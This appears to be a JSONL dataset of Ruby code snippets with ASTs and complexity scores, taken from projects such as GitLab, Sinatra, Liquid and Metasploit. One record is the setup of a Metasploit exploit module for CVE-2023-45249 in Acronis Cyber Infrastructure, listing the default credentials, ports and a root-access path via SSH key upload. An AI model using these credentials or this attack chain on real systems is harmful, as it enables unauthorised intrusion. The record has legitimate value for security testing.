{"repo_name":"aasm","file_path":"./repos/aasm/spec/unit/invokers/class_invoker_spec.rb","start_line":57,"raw_source":"let(:target) { Class.new { def initialize(_r, *_a); end; def call; end } }","complexity_score":3.0,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"let\",{\"type\":\"sym\",\"children\":[\"target\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_r\"]},{\"type\":\"restarg\",\"children\":[\"_a\"]}]},null]},{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},null]}]}]}]}","id":"763e04e3-162d-4eb0-89cf-738adc687805"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/haml_helpers.rb","start_line":32,"raw_source":"def surround(front, back = front, &block)\n      \"#{front}#{_capture_haml(&block).chomp}#{back}\\n\"\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"surround\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"front\"]},{\"type\":\"optarg\",\"children\":[\"back\",{\"type\":\"lvar\",\"children\":[\"front\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"front\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_capture_haml\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},\"chomp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"back\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"65877c16-1f93-4d37-9bb6-00f1eb93f805"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/validations.rb","start_line":24,"raw_source":"def validate(attribute, options = {})\n        validations << { attribute: attribute, options: options }\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validations\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"4691017f-3347-473d-8493-8e312f62fd78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/bin/saas-feature.rb","start_line":304,"raw_source":"def config_hash\n    {\n      'name'              => options.name,\n      'introduced_by_url' => options.introduced_by_url,\n      'milestone'         => options.milestone,\n      'group'             => options.group\n    }\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"config_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"introduced_by_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"introduced_by_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"group\"]}]}]}]}","id":"c28793fd-2235-45d6-b54c-f7c2771aee7a"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/profiler.rb","start_line":75,"raw_source":"def initialize\n      @root_children = []\n      @current_children = nil\n      @total_time = 0.0\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root_children\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_children\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_time\",{\"type\":\"float\",\"children\":[0.0]}]}]}]}","id":"afa72b34-1112-42e4-b2b5-130e2da35ca3"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250811102200_add_pdf_fonts_to_custom_styles.rb","start_line":32,"raw_source":"def change\n    change_table :custom_styles, bulk: true do |t|\n      t.string :export_font_regular, null: true\n      t.string :export_font_bold, null: true\n      t.string :export_font_italic, null: true\n      t.string :export_font_bold_italic, null: true\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"custom_styles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"export_font_regular\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"export_font_bold\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"export_font_italic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"export_font_bold_italic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"2501d658-c3a9-4865-8939-d3a123a49d46"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/inputs/base_input.rb","start_line":62,"raw_source":"def default_value_present?\n        spec.key?(:default) || has_default_through_rules?\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"default_value_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spec\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"has_default_through_rules?\"]}]}]}","id":"5ad54ccc-9e2a-4148-979b-07494dab9316"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb","start_line":20,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Acronis Cyber Infrastructure default password remote code execution',\n        'Description' => %q{\n          Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,\n          compute, and network resources. Businesses and Service Providers are using it for data storage,\n          backup storage, creating and managing virtual machines and software-defined networks, running\n          cloud-native applications in production environments.\n          This module exploits a default password vulnerability in ACI which allow an attacker to access\n          the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.\n          This opens the door for the attacker to upload SSH keys that enables root access\n          to the appliance/server. This attack can be remotely executed over the WAN as long as the\n          PostgreSQL and SSH services are exposed to the outside world.\n          ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,\n          5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.\n        },\n        'Author' => [\n          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module\n          'Acronis International GmbH', # discovery\n        ],\n        'References' => [\n          ['CVE', '2023-45249'],\n          ['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'],\n          ['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux'],\n        'Privileged' => true,\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'Unix/Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Interactive SSH',\n            {\n              'Type' => :ssh_interact,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'generic/ssh/interact'\n              },\n              'Payload' => {\n                'Compat' => {\n                  'PayloadType' => 'ssh_interact'\n                }\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-07-24',\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 8888,\n          'USERNAME' => 'vstoradmin',\n          'PASSWORD' => 'vstoradmin',\n          'DATABASE' => 'keystone',\n          'SSH_TIMEOUT' => 30,\n          'WfsDelay' => 5\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),\n      OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),\n      OptPort.new('SSHPORT', [true, 'SSH port', 22]),\n      OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', ''])\n    ])\n    register_advanced_options([\n      OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])\n    ])\n  end","complexity_score":13.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Acronis Cyber Infrastructure default password remote code execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,\\n\"]},{\"type\":\"str\",\"children\":[\"          compute, and network resources. Businesses and Service Providers are using it for data storage,\\n\"]},{\"type\":\"str\",\"children\":[\"          backup storage, creating and managing virtual machines and software-defined networks, running\\n\"]},{\"type\":\"str\",\"children\":[\"          cloud-native applications in production environments.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a default password vulnerability in ACI which allow an attacker to access\\n\"]},{\"type\":\"str\",\"children\":[\"          the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.\\n\"]},{\"type\":\"str\",\"children\":[\"          This opens the door for the attacker to upload SSH keys that enables root access\\n\"]},{\"type\":\"str\",\"children\":[\"          to the appliance/server. This attack can be remotely executed over the WAN as long as the\\n\"]},{\"type\":\"str\",\"children\":[\"          PostgreSQL and SSH services are exposed to the outside world.\\n\"]},{\"type\":\"str\",\"children\":[\"          ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,\\n\"]},{\"type\":\"str\",\"children\":[\"          5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die-gr3y <h00die.gr3y[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Acronis International GmbH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-45249\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://security-advisory.acronis.com/advisories/SEC-6452\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Interactive SSH\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"ssh_interact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"generic/ssh/interact\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"ssh_interact\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-07-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8888]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"str\",\"children\":[\"vstoradmin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"str\",\"children\":[\"vstoradmin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DATABASE\"]},{\"type\":\"str\",\"children\":[\"keystone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSH_TIMEOUT\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SQL\"]},{\"type\":\"str\",\"children\":[\"RETURN_ROWSET\"]},{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the Acronis Cyber Infra application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"DBPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PostgreSQL DB port\"]},{\"type\":\"int\",\"children\":[6432]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSHPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SSH port\"]},{\"type\":\"int\",\"children\":[22]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PRIV_KEY_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"ConnectTimeout\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Maximum number of seconds to establish a TCP connection\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}","id":"6d6b0541-118c-415e-9343-89cea2e168e1"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/context_test.rb","start_line":331,"raw_source":"def test_cents\n    @context.merge(\"cents\" => HundredCentes.new)\n    assert_equal(100, @context['cents'])\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cents\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HundredCentes\"]},\"new\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[100]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cents\"]}]}]}]}]}","id":"ad24fddb-9431-4cb9-b28d-3a9c6acedc9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metric_definition.rb","start_line":19,"raw_source":"def initialize(path, opts = {})\n        @path = path\n        @attributes = opts\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"0bc723d6-f7fe-4b7a-9db3-ebcd3edf3ee6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/validations/validators/file_path.rb","start_line":7,"raw_source":"def validate_param!(attr_name, params)\n          options = @option.is_a?(Hash) ? @option : {}\n          path_allowlist = options.fetch(:allowlist, [])\n          allow_initial_path_separator = options.fetch(:allow_initial_path_separator, false)\n          path = params[attr_name]\n\n          if allow_initial_path_separator\n            decoded_path = ::Gitlab::Utils.decode_path(path)\n            path_was_encoded = decoded_path != path\n\n            if path_was_encoded && decoded_path.start_with?('/')\n              # NOTE: This validation assumes downstream code will NOT decode the path again\n              # after validation. If any component calls CGI.unescape() or similar decoding methods\n              # on the validated path, it could bypass security checks. The path should be used\n              # as-is after validation to maintain security guarantees.\n              segments = decoded_path.split('/')\n              if segments.length > 1 && segments[0].empty?\n                first_dir = \"/#{segments[1]}\"\n                path_allowlist << first_dir unless first_dir == '/'\n              end\n            end\n          end\n\n          Gitlab::PathTraversal.check_allowed_absolute_path_and_path_traversal!(path, path_allowlist)\n        rescue StandardError\n          raise Grape::Exceptions::Validation.new(\n            params: [@scope.full_name(attr_name)],\n            message: \"should be a valid file path\"\n          )\n        end","complexity_score":51.68,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_param!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@option\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"ivar\",\"children\":[\"@option\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_allowlist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"allowlist\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"allow_initial_path_separator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"allow_initial_path_separator\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_initial_path_separator\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decoded_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Utils\"]},\"decode_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_was_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_path\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_was_encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"segments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_dir\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_allowlist\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"first_dir\"]}]}]}]},null]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PathTraversal\"]},\"check_allowed_absolute_path_and_path_traversal!\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path_allowlist\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Grape\"]},\"Exceptions\"]},\"Validation\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"full_name\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"should be a valid file path\"]}]}]}]}]}]},null]}]}","id":"d254147c-7289-489d-a7b1-ba0f5fb8190d"}
